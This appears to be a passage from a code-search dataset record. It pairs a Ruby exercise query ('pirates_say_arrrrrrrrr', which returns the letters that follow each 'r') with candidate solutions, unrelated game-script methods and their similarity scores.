el\n end\n end\n end\n #=> an array of arrays, the inner arrays include \"cpu\" instead of \"a1\"\n\n # now we calculate the gamer_score and cpu_score of the field for this chosen position.\n cpu_score = 0\n gamer_score = 0\n\n ## gamer scoring\n win_combo_w_available_position_sim.each do |a|\n if a.include?(\"gamer\") == true && a.include?(\"cpu\") == false\n\n if a.count(\"gamer\") == 1\n gamer_score += 2\n elsif a.count(\"gamer\") == 2\n gamer_score += 10\n elsif a.count(\"gamer\") == 3\n gamer_score += 100\n end\n\n elsif a.include?(\"gamer\") == false && a.include?(\"cpu\") == false\n gamer_score += 0\n elsif a.include?(\"gamer\") == true && a.include?(\"cpu\") == true\n gamer_score += 0\n end\n end\n\n ## cpu scoring\n win_combo_w_available_position_sim.each do |a|\n if a.include?(\"cpu\") == true && a.include?(\"gamer\") == false\n\n if a.count(\"cpu\") == 1\n cpu_score += 2\n elsif a.count(\"cpu\") == 2\n cpu_score += 10\n elsif a.count(\"cpu\") == 3\n cpu_score += 100\n end\n\n elsif a.include?(\"cpu\") == false && a.include?(\"gamer\") == false\n cpu_score += 0\n elsif a.include?(\"cpu\") == true && a.include?(\"gamer\") == true\n cpu_score += 0\n end\n end\n\n cpu_scores_by_pos_array.push(cpu_score - gamer_score)\n end\n\n # get id of the max value.\n max_value_index = cpu_scores_by_pos_array.index(cpu_scores_by_pos_array.max)\n\n active_board[available_positions[max_value_index]] = \"O\"\n update_winning_combinations_cpu(winning_combinations, available_positions[max_value_index])\n available_positions.delete(available_positions[max_value_index])\n end\n\n end",
"def play\n $game.surface.+$game.white.get('Ant')\n $game.surface.+$game.black.get('Beetle')\n $game.surface.+($game.white.get('Ant'), $game.surface.bug(Hive::Color[:white], Bug::Type[:ant1]), Side::Face[:bottom_left])\n #$game.surface.+($game.black.get('Grasshopper'), $game.surface.bug(Hive::Color[:black], Bug::Type[:beetle1]), Side::Face[:bottom_left])\n $game.surface.+($game.black.get('Grasshopper'), $game.surface.bug(Hive::Color[:black], Bug::Type[:beetle1]), Side::Face[:top_right])\n $game.surface.+($game.white.get('Ant'), $game.surface.bug(Hive::Color[:white], Bug::Type[:ant2]), Side::Face[:bottom_right])\n $game.surface.+($game.black.get('Queen'), $game.surface.bug(Hive::Color[:black], Bug::Type[:grasshopper1]), Side::Face[:top_right])\n $game.surface.+($game.white.get('Queen'), $game.surface.bug(Hive::Color[:white], Bug::Type[:ant3]), Side::Face[:bottom_right])\n $game.surface.+($game.black.get('Grasshopper'), $game.surface.bug(Hive::Color[:black], Bug::Type[:queen1]), Side::Face[:top_right])\n $game.surface.+($game.white.get('Spider'), $game.surface.bug(Hive::Color[:white], Bug::Type[:queen1]), Side::Face[:bottom_center])\n $game.surface.bug(Hive::Color[:black], Bug::Type[:grasshopper2]).move(Hive::Color[:black], Bug::Type[:beetle1], Side::Face[:bottom_left])\n $game.surface.bug(Hive::Color[:white], Bug::Type[:ant2]).move(Hive::Color[:black], Bug::Type[:queen1], Side::Face[:bottom_center])\n $game.surface.+($game.black.get('Grasshopper'), $game.surface.bug(Hive::Color[:black], Bug::Type[:beetle1]), Side::Face[:top_center])\n \n # Try putting a $game.list_moves after any move directive\n\n puts \"\\n\\n=====PROOF SECTION=======================\"\n $game.surface.bug(Hive::Color[:black], Bug::Type[:beetle1]).describe\n $game.surface.bug(Hive::Color[:black], Bug::Type[:grasshopper1]).describe\n $game.surface.bug(Hive::Color[:black], Bug::Type[:grasshopper2]).describe\n $game.surface.bug(Hive::Color[:black], Bug::Type[:grasshopper3]).describe\n $game.surface.bug(Hive::Color[:black], Bug::Type[:queen1]).describe\n \n $game.surface.bug(Hive::Color[:white], Bug::Type[:ant1]).describe\n $game.surface.bug(Hive::Color[:white], Bug::Type[:ant2]).describe\n $game.surface.bug(Hive::Color[:white], Bug::Type[:ant3]).describe\n $game.surface.bug(Hive::Color[:white], Bug::Type[:queen1]).describe\n $game.surface.bug(Hive::Color[:white], Bug::Type[:spider1]).describe\n end",
"def analyze_barcode\n Barcode_Columns.times do |barcode_col_index|\n barcode_pos = transform_point(BPoint.new(barcode_col_index, Barcode_Row-1), :bottombias)\n @upstream.ann_point(barcode_pos.x, barcode_pos.y)\n score = shrink_to_one(:ballot, barcode_pos.x - i2p(TM_Width)/2.0, barcode_pos.y-i2p(TM_Height)/2.0, i2p(TM_Width), i2p(TM_Height))\n if score < (QuantumRange * BarCodeDetectThresh).to_int then\n @raw_barcode << barcode_col_index\n end\n end\n end",
"def event_check(x, y, d, self_event = nil)\n # get pixel movement rate and set bit\n pix, bit = $BlizzABS.pixel, (1 << (d / 2 - 1)) & 0x0F\n # iterate trough all events except self\n (self.events_only - [self_event]).each {|event|\n # if there's an event that's not through and has a graphic\n if event.character_name != \"\" && event.x == x / pix && \n event.y == y / pix && !event.through &&\n (!self_event.is_a?(Map_Battler) || event.tile_id >= 384)\n # if obstacle bit is set\n if @passages[event.tile_id] & bit != 0\n # get x and y of next tile\n case d\n when 2 then nx, ny = x / pix, (y + 1) / pix\n when 4 then nx, ny = (x - 1) / pix, y / pix\n when 6 then nx, ny = (x + 1) / pix, y / pix\n when 8 then nx, ny = x / pix, (y - 1) / pix\n else\n nx = ny = nil\n end\n # impassable if not on the same tile anymore\n return false if x / pix != nx || y / pix != ny\n # if obstacle bit is set in all directions\n elsif @passages[event.tile_id] & 0x0F == 0x0F\n # impassable in the given direction\n return false\n # if priority is 0\n elsif @priorities[event.tile_id] == 0\n # passable in the given direction\n return true\n # if event is not a tile and not through\n elsif !event.through\n # impassable in any direction\n return false\n end\n end}\n # passable\n return true\n end",
"def pbBattleAnimationOverride(viewport,trainerid=-1,trainername=\"\")\n # The following example runs a common event that ought to do a custom\n # animation if some condition is true:\n #\n # if $game_map && $game_map.map_id==20 # If on map 20\n # pbCommonEvent(20)\n # return true # Note that the battle animation is done\n # end\n #\n ##### VS. animation, by Luka S.J. #####\n ##### Tweaked by Maruno #####\n if trainerid>=0\n tbargraphic=sprintf(\"Graphics/Transitions/vsBar%s\",getConstantName(PBTrainers,trainerid)) rescue nil\n tbargraphic=sprintf(\"Graphics/Transitions/vsBar%d\",trainerid) if !pbResolveBitmap(tbargraphic)\n tgraphic=sprintf(\"Graphics/Transitions/vsTrainer%s\",getConstantName(PBTrainers,trainerid)) rescue nil\n tgraphic=sprintf(\"Graphics/Transitions/vsTrainer%d\",trainerid) if !pbResolveBitmap(tgraphic)\n if pbResolveBitmap(tbargraphic) && pbResolveBitmap(tgraphic)\n outfit=$Trainer ? $Trainer.outfit : 0\n # Set up\n viewplayer=Viewport.new(0,Graphics.height/3,Graphics.width/2,128)\n viewplayer.z=viewport.z\n viewopp=Viewport.new(Graphics.width/2,Graphics.height/3,Graphics.width/2,128)\n viewopp.z=viewport.z\n viewvs=Viewport.new(0,0,Graphics.width,Graphics.height)\n viewvs.z=viewport.z\n xoffset=(Graphics.width/2)/10\n xoffset=xoffset.round\n xoffset=xoffset*10\n fade=Sprite.new(viewport)\n fade.bitmap=BitmapCache.load_bitmap(\"Graphics/Transitions/vsFlash\")\n fade.tone=Tone.new(-255,-255,-255)\n fade.opacity=100\n overlay=Sprite.new(viewport)\n overlay.bitmap=Bitmap.new(Graphics.width,Graphics.height)\n pbSetSystemFont(overlay.bitmap)\n bar1=Sprite.new(viewplayer)\n pbargraphic=sprintf(\"Graphics/Transitions/vsBar%s_%d\",getConstantName(PBTrainers,$Trainer.trainertype),outfit) rescue nil\n pbargraphic=sprintf(\"Graphics/Transitions/vsBar%d_%d\",$Trainer.trainertype,outfit) if !pbResolveBitmap(pbargraphic)\n if !pbResolveBitmap(pbargraphic)\n pbargraphic=sprintf(\"Graphics/Transitions/vsBar%s\",getConstantName(PBTrainers,$Trainer.trainertype)) rescue nil\n end\n pbargraphic=sprintf(\"Graphics/Transitions/vsBar%d\",$Trainer.trainertype) if !pbResolveBitmap(pbargraphic)\n bar1.bitmap=BitmapCache.load_bitmap(pbargraphic)\n bar1.x=-xoffset\n bar2=Sprite.new(viewopp)\n bar2.bitmap=BitmapCache.load_bitmap(tbargraphic)\n bar2.x=xoffset\n vs=Sprite.new(viewvs)\n vs.bitmap=BitmapCache.load_bitmap(\"Graphics/Transitions/vs\")\n vs.ox=vs.bitmap.width/2\n vs.oy=vs.bitmap.height/2\n vs.x=Graphics.width/2\n vs.y=Graphics.height/1.5\n vs.visible=false\n flash=Sprite.new(viewvs)\n flash.bitmap=BitmapCache.load_bitmap(\"Graphics/Transitions/vsFlash\")\n flash.opacity=0\n # Animation\n 10.times do\n bar1.x+=xoffset/10\n bar2.x-=xoffset/10\n pbWait(1)\n end\n pbSEPlay(\"Flash2\")\n pbSEPlay(\"Sword2\")\n flash.opacity=255\n bar1.dispose\n bar2.dispose\n bar1=AnimatedPlane.new(viewplayer)\n bar1.bitmap=BitmapCache.load_bitmap(pbargraphic)\n player=Sprite.new(viewplayer)\n pgraphic=sprintf(\"Graphics/Transitions/vsTrainer%s_%d\",getConstantName(PBTrainers,$Trainer.trainertype),outfit) rescue nil\n pgraphic=sprintf(\"Graphics/Transitions/vsTrainer%d_%d\",$Trainer.trainertype,outfit) if !pbResolveBitmap(pgraphic)\n if !pbResolveBitmap(pgraphic)\n pgraphic=sprintf(\"Graphics/Transitions/vsTrainer%s\",getConstantName(PBTrainers,$Trainer.trainertype)) rescue nil\n end\n pgraphic=sprintf(\"Graphics/Transitions/vsTrainer%d\",$Trainer.trainertype) if !pbResolveBitmap(pgraphic)\n player.bitmap=BitmapCache.load_bitmap(pgraphic)\n player.x=-xoffset\n bar2=AnimatedPlane.new(viewopp)\n bar2.bitmap=BitmapCache.load_bitmap(tbargraphic)\n trainer=Sprite.new(viewopp)\n trainer.bitmap=BitmapCache.load_bitmap(tgraphic)\n trainer.x=xoffset\n trainer.tone=Tone.new(-255,-255,-255)\n 25.times do\n flash.opacity-=51 if flash.opacity>0\n bar1.ox-=16\n bar2.ox+=16\n pbWait(1)\n end\n 11.times do\n bar1.ox-=16\n bar2.ox+=16\n player.x+=xoffset/10\n trainer.x-=xoffset/10\n pbWait(1)\n end\n 2.times do\n bar1.ox-=16\n bar2.ox+=16\n player.x-=xoffset/20\n trainer.x+=xoffset/20\n pbWait(1)\n end\n 10.times do\n bar1.ox-=16\n bar2.ox+=16\n pbWait(1)\n end\n val=2\n flash.opacity=255\n vs.visible=true\n trainer.tone=Tone.new(0,0,0)\n textpos=[\n [_INTL(\"{1}\",$Trainer.name),Graphics.width/4,(Graphics.height/1.5)+10,2,\n Color.new(248,248,248),Color.new(12*6,12*6,12*6)],\n [_INTL(\"{1}\",trainername),(Graphics.width/4)+(Graphics.width/2),(Graphics.height/1.5)+10,2,\n Color.new(248,248,248),Color.new(12*6,12*6,12*6)]\n ]\n pbDrawTextPositions(overlay.bitmap,textpos)\n pbSEPlay(\"Sword2\")\n 70.times do\n bar1.ox-=16\n bar2.ox+=16\n flash.opacity-=25.5 if flash.opacity>0\n vs.x+=val\n vs.y-=val\n val=2 if vs.x<=(Graphics.width/2)-2\n val=-2 if vs.x>=(Graphics.width/2)+2\n pbWait(1)\n end\n 30.times do\n bar1.ox-=16\n bar2.ox+=16\n vs.zoom_x+=0.2\n vs.zoom_y+=0.2\n pbWait(1)\n end\n flash.tone=Tone.new(-255,-255,-255)\n 10.times do\n bar1.ox-=16\n bar2.ox+=16\n flash.opacity+=25.5\n pbWait(1)\n end\n # End\n player.dispose\n trainer.dispose\n flash.dispose\n vs.dispose\n bar1.dispose\n bar2.dispose\n overlay.dispose\n fade.dispose\n viewvs.dispose\n viewopp.dispose\n viewplayer.dispose\n viewport.color=Color.new(0,0,0,255)\n return true\n end\n end\n return false\nend",
"def _enemy_bar\n b = Bitmap.new(1, 6)\n (1..3).each {|i| b.fill_rect(0, i-1, 1, 8-i*2, Color.new(0, 80*i, 0))}\n return b\n end",
"def test_minMax\n [@window, @sprite, @bitmap].each{|container|\n uc = UCGraph.new(container, 500, 60, 50, @elements, nil, 100, -100, Font.normal_font,\n Color.hp_gauge_color1, Color.hp_gauge_color2,\n Color.mp_gauge_color1, Color.mp_gauge_color2)\n uc.draw()\n }\n return true\n end",
"def pbWildBattleSuccess\n end",
"def pbWildBattleSuccess\n end",
"def pbWildBattleSuccess\n end",
"def run\n failed_attempts = 0\n failed_white_attempts = 0\n x = 0\n y = 0\n loop do\n # If white just sail through until we hit another color\n if @current_color == 1\n x_next, y_next = move_direction(x, y)\n\n # If in white and hit boundary or black then step through dp\n if restricted?(x_next, y_next)\n toggle_cc\n step_dp\n failed_white_attempts += 1\n else\n x = x_next\n y = y_next\n @current_color = @image.color(x, y)\n failed_attempts = 0\n failed_white_attempts = 0\n end\n\n break if failed_white_attempts == 4\n else\n @size = 0\n temp_x = x\n temp_y = y\n x, y, @size = block_fill(x, y)\n # puts \"CURR: #{temp_x+1}, #{temp_y+1}, NEXT: #{x+1}, #{y+1}\"\n x_next, y_next = move_direction(x, y)\n # If we are hitting the edge or a black codel try another direction\n if restricted?(x_next, y_next)\n update_movement(failed_attempts)\n failed_attempts += 1\n else # here we move into the next color block after processing the action\n next_color = @image.color(x_next, y_next)\n process_action(@current_color, next_color)\n x = x_next\n y = y_next\n @current_color = next_color\n failed_attempts = 0\n failed_white_attempts = 0\n end\n\n break if failed_attempts == 8\n end\n end\n end",
"def threat_row_for_ai(board)\n defend_spaces = {}\n WINNING_COMBINATIONS.each { |threat| defend_spaces[threat] = 0 }\n WINNING_COMBINATIONS.each do |threat|\n threat.each do |is_x|\n defend_spaces[threat] += 1 if board[is_x] == PLAYER_MARKER\n if board[is_x] == COMPUTER_MARKER\n defend_spaces[threat] = 0\n break\n end\n end\n end\n defend_spaces\nend",
"def i_hit(others, velocity); end",
"def cache_ai_next_turn\n \n return # method no longer used, ai moves no longer calculated all at once.\n \n print \"cache_ai_next_turn\\n\"\n t = Time.now\n \n tm = TactBattleManager\n tm.empty_ai_cache\n \n nxt_team = tm.whos_turn_next\n #tm.turn = tm::ENEMY\n gs = Era::AI.gen_map_graphs(nxt_team)\n #tm.turn = tm::PLAYER\n m = $game_map\n \n gs.keys.each{|key| tm.cache(key, gs[key])} if gs != nil\n \n eu = tm.units[nxt_team][:event]\n ai_cache = tm.ai_cache\n \n c = t = Time.now - t\n while c < tm::Defaults::CacheTime\n t = Time.now\n eu.values.each do |e|\n tbu=e.tb_unit\n if !ai_cache[:graph][tbu.se_hash_key] && !ai_cache[:path][e.id]\n \n r = MoveUtils.bfs_no_graph_start(e.x,e.y, nil, tbu.spec_edges)\n \n ai_cache[:path][e.id] = r[0]\n ai_cache[:dist][e.id] = r[1]\n end\n end\n c+=Time.now - t \n end\n \n # if a graph would be generated for the entire graph, make that graph\n # then run pathfinding on upto 10 units effected by that graph\n end",
"def update_graphics\r\n @tile_id = @character.tile_id\r\n @character_name = @character.character_name\r\n self.visible = !@character_name.empty? || @tile_id > 0\r\n if @tile_id >= 384\r\n update_tile_graphic\r\n else\r\n self.bitmap = RPG::Cache.character(@character_name, 0)\r\n @cw = bitmap.width / 4\r\n @height = @ch = bitmap.height / 4\r\n self.ox = @cw / 2\r\n self.oy = @ch\r\n self.zoom = 1 if zoom_x != 1\r\n src_rect.set(@character.pattern * @cw, (@character.direction - 2) / 2 * @ch, @cw, @ch)\r\n @pattern = @character.pattern\r\n @direction = @character.direction\r\n end\r\n end",
"def update\n if $game_system.battle_interpreter.running?\n $game_system.battle_interpreter.update\n if $game_temp.forcing_battler == nil\n unless $game_system.battle_interpreter.running?\n unless judge\n setup_battle_event\n end\n end\n if @phase != 5\n @status_window.refresh\n end\n end\n end\n $game_system.update\n $game_screen.update\n if $game_system.timer_working and $game_system.timer == 0\n $game_temp.battle_abort = true\n end\n @help_window.update\n @party_command_window.update\n @actor_command_window.update\n @status_window.update\n @message_window.update\n @spriteset.update\n if $game_temp.transition_processing\n $game_temp.transition_processing = false\n if $game_temp.transition_name == \"\"\n Graphics.transition(20)\n else\n Graphics.transition(40, \"Graphics/Transitions/\" +\n $game_temp.transition_name)\n end\n end\n if $game_temp.message_window_showing\n return\n end\n if @spriteset.effect?\n return\n end\n if $game_temp.gameover\n $scene = Scene_Gameover.new\n return\n end\n if $game_temp.to_title\n $scene = Scene_Title.new\n return\n end\n if $game_temp.battle_abort\n $game_system.bgm_play($game_temp.map_bgm)\n battle_end(1)\n return\n end\n if @wait_count > 0\n @wait_count -= 1\n return\n end\n\n # this one holds the battle while the player moves\n for actor in @spriteset.actor_sprites\n if actor.moving\n if $FOG == \"on\"\n if $FOG_E or $FOG_A\n if actor.y >= 200\n actor.bush_depth = 12\n else\n actor.bush_depth = 0\n end\n end\n end\n return\n end\n if $FOG == \"on\"\n if $FOG_E or $FOG_A\n if actor.y >= 200\n actor.bush_depth = 24\n else\n actor.bush_depth = 0\n end\n end\n end\n end\n # and this one is for the enemy... \n for enemy in @spriteset.enemy_sprites\n if enemy.moving# and $game_system.animated_enemy\n if $FOG == \"on\"\n if $FOG_E or $FOG_A\n if enemy.y >= 200\n enemy.bush_depth = 24\n else\n enemy.bush_depth = 0\n end\n end\n end\n return\n end\n if $FOG == \"on\"\n if $FOG_E or $FOG_A\n if enemy.y >= 200\n enemy.bush_depth = 12\n else\n enemy.bush_depth = 0\n end\n end\n end\n end\n \n if $game_temp.forcing_battler == nil and\n $game_system.battle_interpreter.running?\n return\n end\n case @phase\n when 1\n update_phase1\n when 2\n update_phase2\n when 3\n update_phase3\n when 4\n update_phase4\n when 5\n update_phase5\n end\n end"
] |
[
"0.61465895",
"0.6119586",
"0.605402",
"0.58886",
"0.58870775",
"0.58777004",
"0.58508474",
"0.58148277",
"0.57994837",
"0.5793204",
"0.5745979",
"0.5740726",
"0.5725224",
"0.5679319",
"0.56778574",
"0.56752545",
"0.56665915",
"0.5665107",
"0.56640065",
"0.5637669",
"0.563296",
"0.5632785",
"0.56224436",
"0.5618967",
"0.55955344",
"0.5582366",
"0.5582366",
"0.5575349",
"0.5574831",
"0.5565626",
"0.55434585",
"0.55344427",
"0.55320853",
"0.55320853",
"0.55250144",
"0.5520304",
"0.55139977",
"0.5512647",
"0.55079776",
"0.55058414",
"0.54932445",
"0.54910916",
"0.5483487",
"0.54745805",
"0.54706186",
"0.5463837",
"0.5452549",
"0.54524714",
"0.5435079",
"0.54229903",
"0.54226214",
"0.54139477",
"0.5406113",
"0.5394907",
"0.5391518",
"0.53903013",
"0.53864396",
"0.5384672",
"0.5381324",
"0.53776264",
"0.5373628",
"0.5372928",
"0.5367606",
"0.5366095",
"0.5361666",
"0.53561574",
"0.5355101",
"0.53525585",
"0.5337879",
"0.5334018",
"0.5329851",
"0.53217626",
"0.5319115",
"0.5314977",
"0.53103715",
"0.5309847",
"0.53088653",
"0.5306388",
"0.5304766",
"0.5298745",
"0.52945423",
"0.5293843",
"0.52870196",
"0.52813727",
"0.52812266",
"0.5280375",
"0.52775276",
"0.52768385",
"0.5267466",
"0.5266982",
"0.52650183",
"0.5264156",
"0.5264156",
"0.5264156",
"0.52626884",
"0.5256911",
"0.5256614",
"0.52558076",
"0.52521217",
"0.5251555"
] |
0.5436239
|
48
|
pirates_say_arrrrrrrrr("are you really learning Ruby?") => "eenu" pirates_say_arrrrrrrrr("Katy Perry is on the radio!") => "rya" pirates_say_arrrrrrrrr("Pirates say arrrrrrrrr") => "arrrrrrrr"
|
def pirates_say_arrrrrrrrr(string)
chars = string.split(//)
returnString = ''
chars.each_with_index do |c,i|
returnString << chars[i+1].to_s if c == 'r' || c == 'R'
end
returnString
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def pirates_say_arrrrrrrrr(string)\n\nend",
"def offer_rose (string)\r\n \"Would you take this rose, #{string}, in exchange for giving an old beggar woman shelter from the bitter cold?\" \r\nend",
"def pirates_say_arrrrrrrrr(string)\n\nstring.downcase!\nsplitsplat = string.split(//)\nresult = \"\"\n\nsplitsplat.each_with_index do |l, index|\n if l == \"r\"\n result << splitsplat[index + 1].to_s\n end\nend\nreturn result\nend",
"def pirates_say_arrrrrrrrr(string)\n new_string = ''\n string.downcase.chars.map.with_index{ |char, idx| new_string += string[idx+1].to_s if char == 'r' }\n new_string\nend",
"def pirates_say_arrrrrrrrr(string)\nto_return = \"\"\nr_last = false\n\nstring.downcase.each_char do |c|\n\tto_return << c if r_last\n\tr_last = (c == \"r\")\n\tend\n\nto_return\nend",
"def pirates_say_arrrrrrrrr(string)\n\tresult = ''\n\tstring_array = string.downcase.split('')\n\tstring_array.each.with_index{|x,i| result += string_array[i+1] if x == 'r' && i != string.length - 1}\n\treturn result\nend",
"def pirates_say_arrrrrrrrr(string)\n\n ans = \"\"\n\n a = string.split(//)\n # Splits each letter into an array and assigns it to variable \"a\".\n\n a.each_with_index do | x, i |\n\n # Calls a block (everything after pipes) with two arguments \"x\" and \"i\".\n\n # \"x\" represents the current letter in the array and \"i\" represents the index of the current letter in the array.\n\n # So in the below the current character and its index is passed into the block.\n\n if x.downcase == \"r\"\n\n # This block asks \"is the current character (i.e. \"x\") a letter \"r\"? The .downcase adds to this, meaning we're actually asking if x was lower case would it match lower case \"r\". If it does then ruby executes the below.\n\n ans << a[i+1].to_s\n\n # This selects the next character after the current character using its index (\"[i+1]\"), converts it to a string and adds it to the current stored value of ans.\n\n end\n\n end\n\n ans\n\nend",
"def pirates_say_arrrrrrrrr(string)\n other_word = \"\"\n string.length.times do | index |\n if ((string[index].downcase.include? \"r\") && (string[index + 1] != nil))\n other_word << string[index + 1]\n end\n end\n\n return other_word\nend",
"def pirates_say_arrrrrrrrr(string)\n\tstring.split('').select.with_index { |item, i|\n\t\tstring.split('')[i-1].downcase == 'r' if i > 0\n\t}.join\nend",
"def pirates_say_arrrrrrrrr(string)\n new_array = []\n array = string.downcase.split(\"\")\n i = 0\n while i < array.length\n new_array.push(array[i+1]) if array[i] == \"r\"\n i += 1\n end\n return new_array.join.to_s\nend",
"def pirates_say_arrrrrrrrr(string)\n output = \"\"\n string.length.times do |index|\n output << string[index+1] if string[index].downcase == \"r\" && index < (string.length - 1)\n \n end\n return output\nend",
"def pirates_say_arrrrrrrrr(string)\n newstring = ''\n string.downcase!\n string.length.times do |index|\n newstring += string[index + 1] if char_is_r(string, index) && next_char_not_nil(string, index)\n end\n newstring\nend",
"def pirates_say_arrrrrrrrr(string)\n\tnew_string = \"\"\n\tstring_array = string.split('')\n\tfor i in 0..string_array.length-1\n\t\tif string_array[i] == \"r\" || string_array[i] == \"R\"\n\t\t\tnew_string << string_array[i+1].to_s\n\t\tend\n\tend\n\tnew_string\nend",
"def pirates_say_arrrrrrrrr(string)\n\tcounter = 0\n\tpirate_string = \"\"\n\twhile counter < string.length - 1 do \n\n\t\tif string[counter] == \"r\" || string[counter] == \"R\"\n\t\t\tpirate_string += string[counter + 1]\n\t\tend\t\n\n\t\tcounter += 1\n\tend\n\t return pirate_string \nend",
"def pirates_say_arrrrrrrrr(string)\n return \"\" if string == \"\"\n string.downcase!\n result = \"\"\n (0..string.length-2).each do |i|\n if string[i] == 'r'\n result += string[i + 1]\n end\n end\n result\nend",
"def pirates_say_arrrrrrrrr(string)\n result = \"\"\n string.each_char.with_index() do |char, i|\n if char.downcase == \"r\" and i < string.length - 1\n result += string[i + 1]\n end\n end\n result\nend",
"def pirates_say_arrrrrrrrr(string)\n\tletters = string.split(\"\")\n\n\tword = []\n\ti = 1\n\tletters.each do |element|\n\t\tif element == \"r\" || element == \"R\"\n\t\t\tword.push(letters[i])\t\n\t\tend\n\ti +=1\n\tend\n\treturn word.join(\"\")\nend",
"def friendly_parrot (name, age)\n \"You are called #{name} and you are #{age}\"\nend",
"def pirates_say_arrrrrrrrr(string)\n string.each_char.each_cons(2)\n .with_object(\"\") do |(a,b), to_return|\n next unless a.downcase == \"r\"\n to_return << b\n end\nend",
"def pirates_say_arrrrrrrrr(string)\n\tcharacters = string.split('')\n\tchar_index = []\n\toutput = \"\"\n\tcharacters.each_with_index {|char,index| char.downcase == \"r\" ? char_index.push(index += 1) : ''}\n \tcharacters.map.with_index {|char,index| char_index.include?(index) ? output << char : nil }.compact\n return output\nend",
"def sayHello( name=\"Stranger\", adjective=\"stinky\" )\n puts \"Hello #{ adjective } #{ name }\"\n \"hotdogs hotdogs hotdogs\"\nend",
"def pirates_say_arrrrrrrrr(string)\n s = \"\"\n ((0 ... string.length).find_all { |i| string.downcase[i,1] == 'r' }).each do |c|\n if c < (string.length-1) then s += string[c+1] end\n end\n return s\nend",
"def pirates_say_arrrrrrrrr(string)\n string\n .each_char\n .each_with_index\n .map { |char, index| string[index + 1] if char.downcase == 'r' }\n .compact\n .join\nend",
"def favourite_language(fav_language)\n return \"I love #{fav_language}\"\nend",
"def pirates_say_arrrrrrrrr(string)\n return_string = \"\"\n\n string_length = string.length\n\n for x in 0...string_length\n if string[x] == \"r\" || string[x] == \"R\"\n return_string << string[x+1] unless (x+1) == string_length\n end\n end\n return_string\nend",
"def pirates_say_arrrrrrrrr(string)\n\tto_array = string.downcase.split(\"\")\n\tnew_arr = []\n\tcount = 0\n\tto_array.length.times do\n\t\tif to_array[count] == \"r\"\n\t\t\tnew_arr << to_array[count+1]\n\t\tend\n\tcount += 1\n\tend\n\tnew_arr.join\nend",
"def pirates_say_arrrrrrrrr(string)\n a = \"\"\n (string.length - 1).times do |x|\n a.concat(string[x+1]) if string[x].downcase == \"r\"\n end\n a\nend",
"def friendly_parrot(name, age)\n \"Hi, Are you #{name}? You're #{age} years old.\"\nend",
"def pirates_say_arrrrrrrrr(string)\n\n string_array = string.chars\n indexes = string_array.each_with_index.map {|char, index| char.downcase == 'r' ? index : nil}.compact # gives an array of the indexes we want\n indexes.map {|x| string_array[x+1]}.join # iterates through each index for string_array \n\nend",
"def pirates_say_arrrrrrrrr(string)\nz = \"\"\nstring.split(\"\").each_index{|x| z << string[x+1] if string.downcase[x] == \"r\" && string[x+1] != nil }\nz\nend",
"def pirates_say_arrrrrrrrr(string)\n #sort through letters in a string, return next letter\n array = string.split('')\n array.select.each_with_index do |item, index|\n if item == \"r\" \n array[index + 1].join\n else\n nil\n end\n end\nend",
"def sayGoodnight(name)\n result = \"Goodnight, #{name}\" \n # return result\nend",
"def pirates_say_arrrrrrrrr(string)\n counter = 0\n result = ''\n while counter <= string.length\n if (string[counter] == \"r\" || string[counter] == \"R\") && counter < (string.length - 1)\n result += string[counter + 1]\n end\n counter += 1\n end\n result\nend",
"def pirates_say_arrrrrrrrr(string)\nresult = \"\"\n string.size.times { |i| result << string[i+1] if string[i] == \"r\" || string[i] == \"R\"}\nreturn result\nend",
"def pirates_say_arrrrrrrrr(string)\n result = \"\"\n string.each_char.with_index do |letter, index|\n unless string.size-1 == index\n if (letter == \"r\" || letter == \"R\")\n next_letter = string[index + 1]\n result = result + next_letter\n end\n end\n end\n return result\nend",
"def pirates_say_arrrrrrrrr(string)\n holder = String.new\n i = 0\n until i+1 == string.length\n holder << string[i+1] if string[i] == \"r\" || string[i] == \"R\"\n i +=1\n end\n holder\nend",
"def pirates_say_arrrrrrrrr(string)\n arr = string.downcase.split(\"\")\n r_array = []\n arr.each_with_index do |elem, index|\n if elem == \"r\"\n r_array << index + 1\n end\n end\n final = []\n r_array.each {|x| final << arr[x]}\n return final.join(\"\")\nend",
"def pirates_say_arrrrrrrrr(string)\n\tstring.chars.each_with_index.map { |c, i|\n\t\tif c.downcase == 'r' then string[i + 1] else \"\" end\n\t}.join(\"\")\nend",
"def polly_wanna(word)\n return word*3\nend",
"def pirates_say_arrrrrrrrr(string)\n output = \"\"\n string.chars.each_with_index do |n, index|\n if string[index] == \"r\" || string[index] == \"R\"\n output << string[index+1,1]\n else\n end\n end\n return output\nend",
"def friendly_parrot(name, age)\n \"Hello #{name} you are #{age}\"\nend",
"def friendly_parrot(name, age)\n \"Hi #{name}, you're #{age} years old.\"\nend",
"def shout(word)\n# irb(main):012:1> \nreturn \"HOLA\"\n# irb(main):013:1> \nend",
"def pirates_say_arrrrrrrrr(string)\n r_indexes = []\n string.split(\"\").each_with_index{|letter, index| r_indexes << index if letter.downcase == \"r\"}\n plusoneindex = r_indexes.map{|index| index + 1}\n answer = \"\"\n plusoneindex.map{|index| string.split(\"\")[index]}.join\n\nend",
"def pirates_say_arrrrrrrrr(string)\n a = string.split(\"\")\n return_string = Array.new\n\n a.length.times { |x| return_string.push(a[x + 1]) if a[x] == \"r\" || a[x] == \"R\" }\n\n return_string.join(\"\")\nend",
"def pirates_say_arrrrrrrrr(string)\n resultArr = []\n\n string.split(\"\").each_index do |x|\n if (string[x].downcase === \"r\" && string[x+1] != nil)\n resultArr.push(string[x+1])\n end\n end\n\n return resultArr.join(\"\")\n\n\nend",
"def pirates_say_arrrrrrrrr(string)\n to_return = \"\"\n next_letter = false\n string.size.times do |letter|\n current_letter = string[letter]\n to_return << current_letter if next_letter\n next_letter = (current_letter == \"r\" or current_letter == \"R\")\n end\n to_return\n \nend",
"def whisper(phrase)\n return \"#{phrase.downcase}...shhhhhhh\"\nend",
"def sayGoodnightTo(name)\n result = \"Goodnight, #{name}!\"\nend",
"def pirate_speech(sentence)\n sentence.gsub('Hello', 'Ahoy').\n gsub('hello', 'ahoy').\n gsub('Friend', 'Matey').\n gsub('friend','matey').\n gsub('Yes', 'Aye').\n gsub('yes', 'aye') + \" Arrrrr\"\nend",
"def pirates_say_arrrrrrrrr(string)\n\tnewstr = \"\"\n\tlength = string.length - 1\n\tlength.times do |x|\n\t\tif string[x] == \"r\" || string[x] == \"R\"\n\t\t\tpos = x + 1\n\t\t\tnewstr << string[pos]\n\t\tend\n\tend\n\tnewstr\nend",
